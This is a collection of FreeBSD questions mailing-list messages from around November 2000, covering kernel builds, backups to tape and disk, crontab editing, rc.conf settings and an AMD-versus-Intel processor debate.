> is clear.  Itainium isn't even entering into the picture, because
> even Intel
> says the x86 emulation isn't going to be very fast.  It's more of
> a utility
> thing, it's there, it's available if you need it.  I personally don't see
> the need for Willamette.  They can keep their empty clock speed
> and all the
> heat that comes with it.
>
> Oh, and one more thing, think about the price difference.  How
> much cheaper
> do you think the Hammer will be than the Itainium ?  And how much more
> production will AMD have ?
>
> AMD Athlon Thunderbird 1 ghz $254
> Intel Pentium III Coppermine 1ghz $469
>
> AMD Athlon Thunderbird 1.1 ghz $350
> Intel Pentium III Coppermine 1.1 ghz RECALLED
>
> Intel Pentium IV Willamette 1.5ghz $1139  (If you can get ahold of one)
>
> What makes Intel CPUs worth twice as much money, the inferior performace ?
> :)
>
> Sorry this got off on an AMD vs Intel Jihad, but I truly can't take any of
> Intel's upcoming offerings, even the Itainium, seriously.  It's
> time for IT
> Managers to stop buying Intel CPUs rather than AMDs because of the brand
> name and the "stability".  People with old memories of K6/K6-2 cpus, can't
> seem to wake up to the fact that Intel cpus are the ones having
> the heat and
> stability issues.  I won't even go into the rambus fiasco.  If
> you happen to
> work under an Intel Only IT Manager, you know what I'm talking about.
>
>
>



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Dear sir/Madam

    I've been trying to use the ftp (auto-fetch) command:=20
        ftp ftp://[user:password@]host[:port]/file[/]
As I found, the default file transferring operation of this instruction =
is eqivalant to a ftp's "get" command, but actually I want this command =
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    I'm looking forward hearing from you.

    Your sincerely,
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* Nodus <nodus@ifrance.com> [20001104 04:07]:
=>Hi, i've just install FreeBSD, it's really a good Unix but i have many 
problems.
=>During the installation some packages can't be installed due to an 
"error 1" or something like that, what is it ?

Pls give us  more details - better some log info.

=>The sendmail demon is taking a lot of time during the system lauching, 
how can i disable it ???

In /etc/rc.conf the line 
sendmail_enable="NO" will do that.....

=>When i have to configure my network the system tells me : invalid 
gateway IPV4 address specified, what does that mean 
( my network ip is 192.9.210.32 ) ???

What is your IP address?? Is it a public or a private one? By public I
mean routable, as in you got this from your ISP. If that is not the case
pls let us know. We'll pick it from there...


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On 02-Nov-00 Crist J . Clark wrote:
> On Wed, Nov 01, 2000 at 09:04:26PM -0600, Steve Price wrote:
>> Howdy all,
>> 
>> Don't know if it is just a couple of days of absolutely no
>> sleep or what but I've been scratching my over head what
>> should be a simple problem.
>> 
>> Basically what I'm trying to do is setup a non-interactive
>> script that edits my crontab.  When I type the following
>> commands in it comments out the first entry.  However, when
>> I run it by redirecting stdin from a file it doesn't work.
>> >From the looks of it (note the 37 -> 38 change) the file
>> is being updated but crontab is ignoring the change.
>> 
>> steve@bsd(/tmp)$ crontab -l
>> # DO NOT EDIT THIS FILE - edit the master and reinstall.
>> # (/tmp/crontab.teFMi62568 installed on Wed Nov  1 20:47:27 2000)
>> # (Cron version -- $FreeBSD: src/usr.sbin/cron/crontab/crontab.c,v 1.12
>> # 1999/08/28 01:15:52 peter Exp $)
>> */1     *       *       *       *       /home/steve/bin/bogus.sh
>> steve@bsd(/tmp)$ cat cmds
>> 1s/^/#/
>> wq
>> steve@bsd(/tmp)$ env VISUAL=/bin/ed crontab -e < cmds
>> 37
>> 38
>> crontab: no changes made to crontab
>> steve@bsd(/tmp)$ cat cmds | env VISUAL=/bin/ed crontab -e        
>> 37
>> 38
>> crontab: no changes made to crontab
>> steve@bsd(/tmp)$ 
>> 
>> Can anyone tell what I'm doing wrong?  Thanks.
> 
> Don't ask me why, but try this,
> 
>   $ { echo '1s/^/#/'; echo w; } | env VISUAL=/bin/ed crontab -e
> 

Why all the futzing around with ex/vi/ed ?

localhost.dread$ crontab -l | grep -v "^#"
46 3-23/3 * * * bin/getsignups  > /dev/null

localhost.dread$ crontab -l | sed 's/^46 /16 /' | crontab -

localhost.dread$ crontab -l | grep -v "^#"
16 3-23/3 * * * bin/getsignups  > /dev/null

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You can mount the hard drives in mobile docks for off-site storage. Be sure
all mobile docks and trays come from the same manufacturer, because there is
no industry standard.

Otherwise use a CDR, which gives a very permanent backup as long as the
disks keep free of fingerprints and scratches.

Paul Smith

> -----Original Message-----
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> Sent: Friday, 03 November, 2000 10:48 AM
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> Subject: Re: Non-SCSI backup strategy?
>
>
>
>
> Doug Poland schrieb:
> >
> > Chris wrote:
> > >
> > > Hi Folks,
> > >
> > > I got a single, small BSD box set up and running in a local network. I
> > > plan to use it for backup purposes. Unfortunately, this box sports no
> > > SCSI interface. Everything has to be done the cheap way.
> > >
> > > Can anybody speak up how to backup (preferably using Amanda) to any
> > > ATAPI or USB drive?
> > >
> > > Thanks for your recommendations
> > > -Christoph Sold
> > > P.S: Yes, i know, SCSI cards _are_ cheap... but I want to check out
> > > alternatives first.
> > > --
> >
> > Chris,
> >
> > I'm by no means an authority, but I choose to backup my systems to
> > harddrives in two dedicated backup PC's. I added two 20GB HD to two
> > old 80486s.  You can't beat the cost/MB ratio of an IDE harddrive.
> > I backup to one machine one day, the other the next.  Of course,
> > I had old 486's lying around so the only cost involved was the drives
> > themselves.
>
> Thanks, Doug, that's a good idea. Anyhow, I need something for offsite
> storage. CD-R, tape, whatever: only it should not involve SCSI. Any
> opinions?
>
> -Christoph
>
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On Fri, 27 Oct 2000, Mike Batchelor wrote:
> 
> Hey,
> 
> I can't seem to get any APM features working for my ASUS A7V.  Basically I would like FreeBSD (rel4.1.1) to shutdown the computer using halt -p (is that even the correct arguement?!) without having to press the power button.  The generic kernel already has "device apm0" set up so.. I have no idea.   Thanks
> 
> 
> Also my /etc/hosts file has somehow drastically decreased in side; only the header remains.  I don't know what happened.. and.. no one else has ROOT access.
> 
> Thanks guys
> 

I had to put 
en apm
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I know two reasons why packages may not install.  If you are using the
default slices with 50 MB /, try increasing / to 70 MB.

If the packages which will not install require Compat22, try rebooting after
installing Compat22 and before installing the packages.

Paul Smith
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  Hi, i've just install FreeBSD, it's really a good Unix but i have many
problems.
  During the installation some packages can't be installed due to an "error
1" or something like that, what is it ?
  The sendmail demon is taking a lot of time during the system lauching, how
can i disable it ???
  When i have to configure my network the system tells me : invalid gateway
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  Thank you.

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I just recently did a fresh install of 4.1.1-stable.
I've been searching the web site for info on compiling
and using a new kernel. I'm finding plenty of info but
its somewhat confusing as this is my first time to try
to compile a new kernel. I've read the handbook
sections for compiling a new kernel. At first I read
the handbook that came with the install and the entry
for compiling and installing a new kernel I thought
said go the make buildkernel, make installkernel route
for 4.0 and up period. I tried that and make
buildkernel failed with errors. I also tried the
GENERIC kernel just to make sure it wasn't MYKERNEL
even after getting a diff and checking for typos. I
read more and thought that was for upgrading only and
tried the config, compile, make depend, make, make
install process. The compile failed. I read some more
and found make buildworld to be done before doing the
make buildkernel, make installkernel. So, I tried a
make buildworld. That caused the system to reboot
about an hour into the build. I've read README,
UPDATING, and the Makefile in /usr/src, the handbook,
and the faq. I'm sure I'm missing something as the
handbook on my system is an older version than the
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lists also but still I'm missing something somewhere.
So, whats causing my makes and build to fail or reboot
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Check www.freebsddiary.org for pointers.  I'm relatively new to fbsd and
found that website very informative.  They also have script to assist
you in make world and kernel compiles.

HTH.


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I just recently did a fresh install of 4.1.1-stable.
I've been searching the web site for info on compiling
and using a new kernel. I'm finding plenty of info but
its somewhat confusing as this is my first time to try
to compile a new kernel. I've read the handbook
sections for compiling a new kernel. At first I read
the handbook that came with the install and the entry
for compiling and installing a new kernel I thought
said go the make buildkernel, make installkernel route
for 4.0 and up period. I tried that and make
buildkernel failed with errors. I also tried the
GENERIC kernel just to make sure it wasn't MYKERNEL
even after getting a diff and checking for typos. I
read more and thought that was for upgrading only and
tried the config, compile, make depend, make, make
install process. The compile failed. I read some more
and found make buildworld to be done before doing the
make buildkernel, make installkernel. So, I tried a
make buildworld. That caused the system to reboot
about an hour into the build. I've read README,
UPDATING, and the Makefile in /usr/src, the handbook,
and the faq. I'm sure I'm missing something as the
handbook on my system is an older version than the
version on the web site. I've searched the mailling
lists also but still I'm missing something somewhere.
So, whats causing my makes and build to fail or reboot
my system? Any ideas?=20

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Heredity Choice wrote:
> 
> I attribute many of the shortcomings of the x86 family to its backward
> compatibility with the Intel 4044. It has eight registers, compared with 64
> on the Alpha. The architecture is in many ways much simpler on the Alpha.
> 
> Apples and oranges is a poor analogy for 32 bit versus 64 bit.  Nobody
> prefers 32 bit unless it is cheaper. The Alpha is a relatively cheap
> processor to manufacture. The Itanium never will be. Porting software to 64
> bit can be painful, but 32 bit software can run on 64 bit hardware. The
> Ultrasparc and the HP are 64 bit and much new software development is on a
> 64 bit platform even if it will later be ported to a 32 bit platform.

One of the reasons HP and Sun never made it in some markets is their
architecture. Some of the data arrays these old codes used required
logical operations on 64-bit integers. Dec Fortran would compile a
Cray Fortran program with almost no modification. Conversion to a DEC
Alpha required 4 hours of programming and serveral days to get the
documentation done. Going from a CDC (the first company Seymour worked
for) to a Cray also had similar characteristics. We had one project
that was the conversion of a German Saftey analysis program from a
CDC-990 to the XM/P. We made it run in two weeks. They were astounded
when we showed them the output. What they hadn't told me before we
started was that a 5 man team in Japan had required 1.5 years to
convert it to a slightly different system. I had used both the CDC-990
and the Cray. Vi did a wonderful job of sweeping through the Fortran
modules. It seemed like all I did was "n" and "." for several days.
Our conversion was KISS simple. The 5-man team didn't have that
experience and we never purchased their version to see what they had
done. 

There are a lot of people out there still using DEC Alpha's that don't
believe any of the PR-hype until the see a real 64-bit computer
sitting by their desk. They don't care if FreeBSD or Linux runs in
64-bit mode. They have been doing that for around 20 years. What they
don't want to have to do is change 100's of lines of code over weeks
or months of time to make their program work on the new "64-bit"
machines. They are afraid conversion ratios like 4 man weeks to 7.5
man years will pop up again :).

> 
> Despite its high performance, modest cost, and elegant architecture, the
> Alpha has never sold well. Microway is alone marketing the low-end Alphas,
> while Compaq now offers only high-end workstations and servers with the
> Alpha processor.

It also depends on the market you are looking at. For example, I came
from the supercomputer environment where Cray still means something. A
line from their web pages shows
Cray T3E scalable parallel systems use the DECchip 21164 (DEC Alpha
EV5)

They have combinations with up to 2048 processors. They liquid cool
anything over 128 processors. What distinguishes then from things we
use are parameters like I/O channels with 1 GB/sec per channel.


> 
> FreeBSD Alpha does not have the maturity of FreeBSD Intel, but it is making
> great progress because of a few enthusiasts who recognize its great
> potential.
> 
> Meanwhile the Itanium, if it ever becomes reality, is an answer in search of
> a question.

I agree. I think 64-bit will mean the most to sites with huge
databases that want to use GB's of memory to handle the queries. To
really optimize many calculations you need 16-64 64-bit floating point
register's so you can optimize your calculations better.

Kent

> 
> Paul Smith
> 
> > -----Original Message-----
> > From: Jeremiah Gowdy [mailto:jgowdy@home.com]
> > Sent: Friday, 03 November, 2000 12:55 PM
> > To: Heredity Choice; Allen Landsidel; Nick Slager; jadream
> > Cc: freebsd-questions@FreeBSD.ORG
> > Subject: Re: FBSD & Itanium?
> >
> >
> > > Yes, an Athlon 600 is cheaper than an Alpha 21164 533 MHz, and
> > about half
> > as
> > > fast.
> > >
> > > I am afraid there is a little more to porting an OS than having gcc for
> > the
> > > processor, especially as FreeBSD is not optimized for
> > portability. FreeBSD
> > > will be ported to the Itanium if people want to make the considerable
> > > effort. So far the Itanium has been all promises and no substance.
> >
> > Why are we comparing 64bit CPUs to 32bit CPUs ?  Apples to Oranges if you
> > ask me.  I say, wait for the tainted smell of vaporware to disappear, and
> > see who comes out ahead on the Itainium vs Sledgehammer front.  I believe
> > for FreeBSD users, Sledgehammer would be the CPU of choice, as AMD claims
> > that in 32bit mode, it would still be the fastest 32bit x86 processor ever
> > released, even if you ignore the 64bit mode altogether.  So since
> > FreeBSD is
> > situated in the x86 architecture quite well, seems like AMD would be the
> > only option in this next generation of the Intel/AMD offerings.  The Intel
> > Itainium's core is truly emulating x86 (I know all of today's cpus emulate
> > CISC with RISC, however, Itainium's focus isn't x86), the Itainium will
> > certainly perform slower per clock than a Coppermine.  Willamette performs
> > slower per clock than Coppermine.  So if we say, ok FreeBSD is x86
> > optimized, what is the x86 cpu market looking like in the next few years,
> > one has to conclude that the newer AMD offerings, especially the
> > Hammer, are
> > the cpus of choice for FreeBSD x86 systems.  As for Alpha, I've never used
> > FreeBSD/Alpha, however, I know Alphas are absolutely awesome.  My question
> > is, is our Alpha support awesome ?  And are people willing to go Alpha ?
> > I'm not saying anything against Alpha, I'm just putting forth my opinion
> > that once it comes out, FreeBSD x86/Hammer combo will be the best
> > option for
> > FreeBSD x86 users.
> >
> > Linux will probably come out with both an Itainium and Hammer version.  I
> > believe both such projects are underway.  But will they be hack
> > jobs or the
> > real thing ?  FreeBSD x86-64 makes sense, it's just another
> > extention of the
> > architecture.  Ax8664_CPU  :)
> >
> >     I have great doubts about willamette and it's design which
> > performs less
> > per clock than the Coppermine, but allows higher clock speeds.
> > Remember the
> > 486 DX4 ?  Then comes the Pentium and all those empty mhz the DX4s were
> > hitting were stomped by a greater design.  Seems to me the idea shouldn't
> > just be how many gigahertz you can kick, but the design of the
> > core.  If you
> > could make a 386 that clocked to 3 ghz, I would rather have a Thunderbird
> > that ran at 1 ghz.
> >
> > My theory is this, if Hammer running in 32bit mode is far far faster than
> > Thunderbird, and Thunderbird is just a little bit faster per clock than
> > Coppermine, and Coppermine is faster per clock than Willamette, the winner
> > is clear.  Itainium isn't even entering into the picture, because
> > even Intel
> > says the x86 emulation isn't going to be very fast.  It's more of
> > a utility
> > thing, it's there, it's available if you need it.  I personally don't see
> > the need for Willamette.  They can keep their empty clock speed
> > and all the
> > heat that comes with it.
> >
> > Oh, and one more thing, think about the price difference.  How
> > much cheaper
> > do you think the Hammer will be than the Itainium ?  And how much more
> > production will AMD have ?
> >
> > AMD Athlon Thunderbird 1 ghz $254
> > Intel Pentium III Coppermine 1ghz $469
> >
> > AMD Athlon Thunderbird 1.1 ghz $350
> > Intel Pentium III Coppermine 1.1 ghz RECALLED
> >
> > Intel Pentium IV Willamette 1.5ghz $1139  (If you can get ahold of one)
> >
> > What makes Intel CPUs worth twice as much money, the inferior performace ?
> > :)
> >
> > Sorry this got off on an AMD vs Intel Jihad, but I truly can't take any of
> > Intel's upcoming offerings, even the Itainium, seriously.  It's
> > time for IT
> > Managers to stop buying Intel CPUs rather than AMDs because of the brand
> > name and the "stability".  People with old memories of K6/K6-2 cpus, can't
> > seem to wake up to the fact that Intel cpus are the ones having
> > the heat and
> > stability issues.  I won't even go into the rambus fiasco.  If
> > you happen to
> > work under an Intel Only IT Manager, you know what I'm talking about.
> >
> >
> >
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freebsdathome@yahoo.com wrote:
> 
> I just recently did a fresh install of 4.1.1-stable.
> I've been searching the web site for info on compiling
> and using a new kernel. I'm finding plenty of info but
> its somewhat confusing as this is my first time to try
> to compile a new kernel. I've read the handbook
> sections for compiling a new kernel. At first I read
> the handbook that came with the install and the entry
> for compiling and installing a new kernel I thought
> said go the make buildkernel, make installkernel route
> for 4.0 and up period. I tried that and make
> buildkernel failed with errors. I also tried the
> GENERIC kernel just to make sure it wasn't MYKERNEL
> even after getting a diff and checking for typos. I
> read more and thought that was for upgrading only and
> tried the config, compile, make depend, make, make
> install process. The compile failed. I read some more
> and found make buildworld to be done before doing the
> make buildkernel, make installkernel. So, I tried a
> make buildworld. That caused the system to reboot
> about an hour into the build. I've read README,
> UPDATING, and the Makefile in /usr/src, the handbook,
> and the faq. I'm sure I'm missing something as the
> handbook on my system is an older version than the
> version on the web site. I've searched the mailling
> lists also but still I'm missing something somewhere.
> So, whats causing my makes and build to fail or reboot
> my system? Any ideas?

I am assuming you are running csh where you would do something like 

make buildworld >& bworld.log

If your system panics, you will probably see some sort of signal
error, which is usually hardware related, i.e., memory or cooling.

The first rule on 4.x is following Warner's suggestions in
/usr/src/UPDATING. He has a section on updating to 4.x-stable. It may
not work everytime but you have a lot better chance than some of these
documents written for earlier versions. When it comes to the kernel,
you are supposed to copy GENERIC to some name and then edit it to
build a system your way. MYKERNEL has to exist before you start. I
have a script that I run that does a cvsup and then follows the
buildworld, build[install]kernel, installworld, and mergemaster
sequence. It has served me well.

I read where they may add "device pcm" to GENERIC, which will let you
have sound on your first install of 4.2.

Kent

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Does anyone have any tools that they use for maintaining config files for a
bunch of machines? Ideally, for each machine you could have some sort of a
'delta' that contianed whatever custom settings that machine had. This would
be applied to the stock config file that mergemaster/cvsup/whatever gives
you (of course, you'd have to mergemaster to a destination other than / :)
It would also be nice to have a(a bunch of) generic config file(s) for your
network, that would have most of the defaults you like.

         Generic delta file   Machine delta file
                  |                    |             file to get
Base config file -+-> -----------------+---------->  installed in /etc
                                                     or wherever else

You'd also want the capability to use different tools to apply the
delta's... for example, for things like /etc/rc.conf, you could just append
the Machine delta file (which would just be a bunch of sh variable
assignments) to the end of the Generic delta file (again, just sh variable
assignments), and install it to /etc/rc.conf. In this case, the delta files
really wouldn't act as delta's at all. But for something like your kernel
config, you'd probably want to start with GENERIC, sed -e 's///' some
things, and add some other things in. You'd want all this in CVS for sanity,
including the results of mergemaster (and whatever other base files) that
everything is based on.

I'm sure I lost a bunch of people with my long, rambling description here. I
have an idea of how to do this, but I figured it would be worthwhile to get
comments and ideas first. Then I just need to find the time to actually do
it ;)
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--- Kent Stewart <kstewart@urx.com> wrote:
> 
> 
> freebsdathome@yahoo.com wrote:
> > 
> > I just recently did a fresh install of
> 4.1.1-stable.
> > I've been searching the web site for info on
> compiling
> > and using a new kernel. I'm finding plenty of info
> but
> > its somewhat confusing as this is my first time to
> try
> > to compile a new kernel. I've read the handbook
> > sections for compiling a new kernel. At first I
> read
> > the handbook that came with the install and the
> entry
> > for compiling and installing a new kernel I
> thought
> > said go the make buildkernel, make installkernel
> route
> > for 4.0 and up period. I tried that and make
> > buildkernel failed with errors. I also tried the
> > GENERIC kernel just to make sure it wasn't
> MYKERNEL
> > even after getting a diff and checking for typos.
> I
> > read more and thought that was for upgrading only
> and
> > tried the config, compile, make depend, make, make
> > install process. The compile failed. I read some
> more
> > and found make buildworld to be done before doing
> the
> > make buildkernel, make installkernel. So, I tried
> a
> > make buildworld. That caused the system to reboot
> > about an hour into the build. I've read README,
> > UPDATING, and the Makefile in /usr/src, the
> handbook,
> > and the faq. I'm sure I'm missing something as the
> > handbook on my system is an older version than the
> > version on the web site. I've searched the
> mailling
> > lists also but still I'm missing something
> somewhere.
> > So, whats causing my makes and build to fail or
> reboot
> > my system? Any ideas?
> 
> I am assuming you are running csh where you would do
> something like 
> 
> make buildworld >& bworld.log
> 
> If your system panics, you will probably see some
> sort of signal
> error, which is usually hardware related, i.e.,
> memory or cooling.
> 
> The first rule on 4.x is following Warner's
> suggestions in
> /usr/src/UPDATING. He has a section on updating to
> 4.x-stable. It may
> not work everytime but you have a lot better chance
> than some of these
> documents written for earlier versions. When it
> comes to the kernel,
> you are supposed to copy GENERIC to some name and
> then edit it to
> build a system your way. MYKERNEL has to exist
> before you start. I
> have a script that I run that does a cvsup and then
> follows the
> buildworld, build[install]kernel, installworld, and
> mergemaster
> sequence. It has served me well.
> 
> I read where they may add "device pcm" to GENERIC,
> which will let you
> have sound on your first install of 4.2.
> 
> Kent
> 

Well, I haven't tried getting a log and checking it
yet. 

I was worried that it probably was hardware related,
but hoped it was user error since I'm broke. 

I'm confused about the UPDATING file and most of the
commentary or documentation referring to it. Isn't
that assuming that one is actually upgrading from a
previous version? I installed this version from
scratch. Does it apply to my situation?

I did copy GENERIC to MYKERNEL and edit it
appropriately. I only made note of trying to build it
to point out I had problems with it also and that it
wasn't just MYKERNEL.

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Hi there,

Take a look at OpenCart -- I believe that's what cdrom.com uses.  I'm
not sure about whether you need root or not, but it'll definitely work
on BSD.  :)

Cheers,
Marc

On Fri, Nov 03, 2000 at 01:23:21PM -0800, gummibear@nettaxi.com wrote:
> 
> 
> I'm searching for a shopping cart for a web store.  The site is hosted on a FreeBSD powered site.  I'm looking for something that's either written in CGI or PHP and can access MySQL databases.  I'm interested in something simple where the database and corresponding scripts are easily customisable to suit my product data.
> 
> I've haved played with agora.cgi, allcommerce, and many others.  Most are a pain to setup and some need root privledges which I do not have.
> 
> Any advice would be helpfull.  Thanks!
> 
> Joey
> 
> 
> 
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Hello

I have Ati Xpert 98 video card and FreeBDS 4.0 release
i installed options VESA in the kernel and i'm tryin
to switch in 800x600 also :
vidcontrol -x VESA_800x600
vidcontrol: cannot activate raster display: Operation
not supported by device
Don't know why
Actually i have options         SC_PIXEL_MODE in my
kernel
but it won't work
i can switch to VGA videomodes such as VGA_80x60 and
80x50
but VESA modes doesn't work.
However my video card is Video Electronics
StandarsAassitiation (VESA)  compatible.
/usr/home/darkx)>dmesg | grep VESA
VESA: v2.0, 8192k memory, flags:0x0, mode
table:0xc032d102 (1000022)
VESA: ATI MACH64
All is ok but i can't switch in VESA video modes

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freebsdathome@yahoo.com wrote:
> 
> --- Kent Stewart <kstewart@urx.com> wrote:
> >
> >
> > freebsdathome@yahoo.com wrote:
> > >
> > > I just recently did a fresh install of
> > 4.1.1-stable.
> > > I've been searching the web site for info on
> > compiling
> > > and using a new kernel. I'm finding plenty of info
> > but
> > > its somewhat confusing as this is my first time to
> > try
> > > to compile a new kernel. I've read the handbook
> > > sections for compiling a new kernel. At first I
> > read
> > > the handbook that came with the install and the
> > entry
> > > for compiling and installing a new kernel I
> > thought
> > > said go the make buildkernel, make installkernel
> > route
> > > for 4.0 and up period. I tried that and make
> > > buildkernel failed with errors. I also tried the
> > > GENERIC kernel just to make sure it wasn't
> > MYKERNEL
> > > even after getting a diff and checking for typos.
> > I
> > > read more and thought that was for upgrading only
> > and
> > > tried the config, compile, make depend, make, make
> > > install process. The compile failed. I read some
> > more
> > > and found make buildworld to be done before doing
> > the
> > > make buildkernel, make installkernel. So, I tried
> > a
> > > make buildworld. That caused the system to reboot
> > > about an hour into the build. I've read README,
> > > UPDATING, and the Makefile in /usr/src, the
> > handbook,
> > > and the faq. I'm sure I'm missing something as the
> > > handbook on my system is an older version than the
> > > version on the web site. I've searched the
> > mailling
> > > lists also but still I'm missing something
> > somewhere.
> > > So, whats causing my makes and build to fail or
> > reboot
> > > my system? Any ideas?
> >
> > I am assuming you are running csh where you would do
> > something like
> >
> > make buildworld >& bworld.log
> >
> > If your system panics, you will probably see some
> > sort of signal
> > error, which is usually hardware related, i.e.,
> > memory or cooling.
> >
> > The first rule on 4.x is following Warner's
> > suggestions in
> > /usr/src/UPDATING. He has a section on updating to
> > 4.x-stable. It may
> > not work everytime but you have a lot better chance
> > than some of these
> > documents written for earlier versions. When it
> > comes to the kernel,
> > you are supposed to copy GENERIC to some name and
> > then edit it to
> > build a system your way. MYKERNEL has to exist
> > before you start. I
> > have a script that I run that does a cvsup and then
> > follows the
> > buildworld, build[install]kernel, installworld, and
> > mergemaster
> > sequence. It has served me well.
> >
> > I read where they may add "device pcm" to GENERIC,
> > which will let you
> > have sound on your first install of 4.2.
> >
> > Kent
> >
> 
> Well, I haven't tried getting a log and checking it
> yet.
> 
> I was worried that it probably was hardware related,
> but hoped it was user error since I'm broke.

What kind of cpu do you have? Some of the older AMD's are sensitive to
cooling and a thin layer of heatsink goo helps. You could have a fan
going out. There are a lot more answer's than questions :).

I haven't had a problem building a system for several days. I have one
machine I update on the odd days and another that I update on the even
days. I haven't had any problems since 30-31 Oct.

> 
> I'm confused about the UPDATING file and most of the
> commentary or documentation referring to it. Isn't
> that assuming that one is actually upgrading from a
> previous version? I installed this version from
> scratch. Does it apply to my situation?

Up to a point. There is a section on upgrading from 4.x to 4.x-stable
(about line 192) and that applies if you are cvsup'ing to update your
source. If you installed the sources, then you don't need to do a
build[install]world. You can build a kernel using the good old
fashioned config MYKERNEL ... make install. However, most people
following stable have done a cvsup and the build[install]kernel rule
applies.

FWIW, I have a shell script that does a cvsup. Then I use a script
written by Nik Clayton that  converts my cvsup.log to html. Then, my
script does a buildworld, build[install]kernel, and installworld. It
takes about 1:45 to finish. I have 3 systems that I play with and none
of them have to be booted to single user mode to do the installworld.
When I finish, I have a log of the output from each step. I can point
you to a copy of the latest run and say it isn't failing. If it does,
I can also point to where it is failing. A buildworld runs about 5-6MB
and isn't something most people would want to view :). The script
helps because I don't make typo's and wonder what happened.

Kent

> 
> I did copy GENERIC to MYKERNEL and edit it
> appropriately. I only made note of trying to build it
> to point out I had problems with it also and that it
> wasn't just MYKERNEL.
> 
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Many thanks! It seems to work ok!
So how to use restore in this case?

#dump 0af - / | gzip -9 | dd of=/dev/rsa0 obs=10k conv=osync
  DUMP: Date of this level 0 dump: Sat Nov  4 12:57:37 2000
  DUMP: Date of last level 0 dump: the epoch
  DUMP: Dumping /dev/da0s1a (/) to standard output
  DUMP: mapping (Pass I) [regular files]
  DUMP: mapping (Pass II) [directories]
  DUMP: estimated 34125 tape blocks.
  DUMP: dumping (Pass III) [directories]
  DUMP: dumping (Pass IV) [regular files]
  DUMP: DUMP: 34153 tape blocks
  DUMP: finished in 100 seconds, throughput 341 KBytes/sec
  DUMP: DUMP IS DONE
29273+1 records in
1464+0 records out
14991360 bytes transferred in 100.211964 secs (149597 bytes/sec)

regards,
Olek

Mike Meyer wrote:

> Please send responses back to questions@freebsd.org; others may want
> to see or be able to help.
>
> svga <svga@polbox.com> types:
> >
> > -c isn't needed. The problem may be /dev/rsa0 is doing strange
> > things. Try sending the output of gzip through dd:
> >
> > #dump 0af - / | gzip -9 | dd of=/dev/rsa0 bs=10k
> >
> >   DUMP: Date of this level 0 dump: Fri Nov  3 23:36:11 2000
> >   DUMP: Date of last level 0 dump: the epoch
> >   DUMP: Dumping /dev/da0s1a (/) to standard output
> >   DUMP: mapping (Pass I) [regular files]
> >   DUMP: mapping (Pass II) [directories]
> >   DUMP: estimated 34125 tape blocks.
> >   DUMP: dumping (Pass III) [directories]
> >   DUMP: dumping (Pass IV) [regular files]
> >   DUMP: DUMP: 34153 tape blocks
> >   DUMP: finished in 101 seconds, throughput 338 KBytes/sec
> >   DUMP: DUMP IS DONE
> > dd: /dev/rsa0: Invalid argument
> > 915+915 records in
> > 915+914 records out
> > 14985216 bytes transferred in 101.744104 secs (147283 bytes/sec)
>
> Looks like I was right - /dev/rsa0 is upset about the stream output to
> it. You'll have to figure out what it's limitations are, so you know
> what options to set on dd to get it to do the right thing. If you
> don't know what's up with the tape drive, I'd suggest replacing
> "bs=10k" with "obs=10k conv=osync".
>
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Hi Alexander,
> If you have kernfs(5) mounted, `head -1 /kern/version` is something you
> might want to have in your /etc/motd. But it's up to you, really. :)


At least in 4.1.1 the default in /etc/defaults/rc.conf is:

update_motd="YES"       # update version info in /etc/motd (or NO)

which should do this automagically for you.

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I have a script for create user accounts using a browser.

it funcionaly normal in Linux

in FreeBSD it have very errors

You have a php3/perl/cgi script for create user accounts using browser?

thanks


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On Sat, Nov 04, 2000 at 01:47:44PM +0100, Wolfram Schneider wrote:
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> From: "Wilson" <wilson@econnect.com.br>
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> I have a script for create user accounts using a browser.
> 
> it funcionaly normal in Linux
> 
> in FreeBSD it have very errors
> 
> You have a php3/perl/cgi script for create user accounts using browser?
Try installing webmin out of the ports. You can create users and other 
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I just did a make world and when I rebooted got the message that "You seem
to be using old-style rc.d scripts. Make sure they recognize the stop
command."

I don't understand.

I looked in the archives and saw a HEADS UP about this, I think, but I
didn't understand it. My local rc.d directory has all local startup scripts
(#!/bin/sh).

What is it I need to change?
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I did a make world and then (mistakenly?) ran mergemaster using /tmp as the
temporary root. I believe that changed the permissions on /tmp so now, after
re-booting, I have to change them back.

I changed /tmp to 777, then did a +t.

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}-----Original Message-----
}From: owner-freebsd-questions@FreeBSD.ORG
}[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of
}David J. Kanter
}Sent: Saturday, November 04, 2000 9:21 AM
}To: FreeBSD questions
}Subject: rc.d scripts should recognize "stop"?
}
}
}I just did a make world and when I rebooted got the message
}that "You seem
}to be using old-style rc.d scripts. Make sure they recognize the stop
}command."
}
}I don't understand.
}
}I looked in the archives and saw a HEADS UP about this, I
}think, but I
}didn't understand it. My local rc.d directory has all local
}startup scripts
}(#!/bin/sh).
}
}What is it I need to change?
}--
}David Kanter
}
Dave,
It's looking for scripts to be a bit more flexible. You can manually
start/stop these by going into the directory and running sh script.sh
start or sh script.sh stop. The rc man page gives info on it as well.
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On Friday 03 November 2000  2:51, Jeff Blaufuss wrote:
> I am trying to build the Mozilla M18 port, but I am having difficulties.
> When I run make it fails with this message:
>
> configure:5076: checking for gtk-config
> configure:5111: checking for GTK - version >= 1.2.0

Do what I did: "cd /usr/X11R6/bin; ln -s gtk12-config gtk-config" (as root, 
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Eugene <gene8000@earthlink.net> types:
> dougb@FreeBSD.org wrote:
> 
> > Synopsis: Unable to print on Canon BJC6000 from a HP 8240@233mhz
> >
> > State-Changed-From-To: open->closed
> > State-Changed-By: dougb
> > State-Changed-When: Fri Nov 3 02:05:59 PST 2000
> > State-Changed-Why:
> > Not really a PR.
> > Please send a much more detailed description of the
> > problem to freebsd-questions@freebsd.org
> >
> > http://www.freebsd.org/cgi/query-pr.cgi?pr=22554
> 
> Hello Dough:
> 
> I am running FreeBSD 4.1,  this is a fresh install on a Hewlett Packard
> 8240  with 64MB of ram running @ 233 mhz, the printer is a CanonBJC6000.
> Let I said in my first communication in the past I  have had at lease
> four or five different flavors of Linux on this pc; everything worked
> fine including the speakers. There really
> is not much to tell., I have reinstalled FreeBSD at least twice in an
> effort to get my printer going. Basically its
> a standalone system connected to the internet via 56k modem (telephone).
> I have not modified any of the files in hopes to make the cure easy.  It
> is probable something simple, I'm just not smart enough to figure it out
> . Thank you in advance Dough.

That's actually not very detailed. In particular (my favorite three
questions about computer problems), what are you doing to try to
print, what happens when you do that, and what makes you think this is
an error?

However, given that you've not modified any files, then the printer
won't work - because lpd is disabled by default. You need to enable
it. Read /etc/defaults/rc.conf and the rc.conf man page for details.

	<mike
	


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Simon Nielsen <simon@dkik.dk> types:
> I currently have two internet connections though two different ISP's.
> One is a ADSL and another is shared with the rest of my dorm. The shared
> line is rather slow because many people are using it.
> 
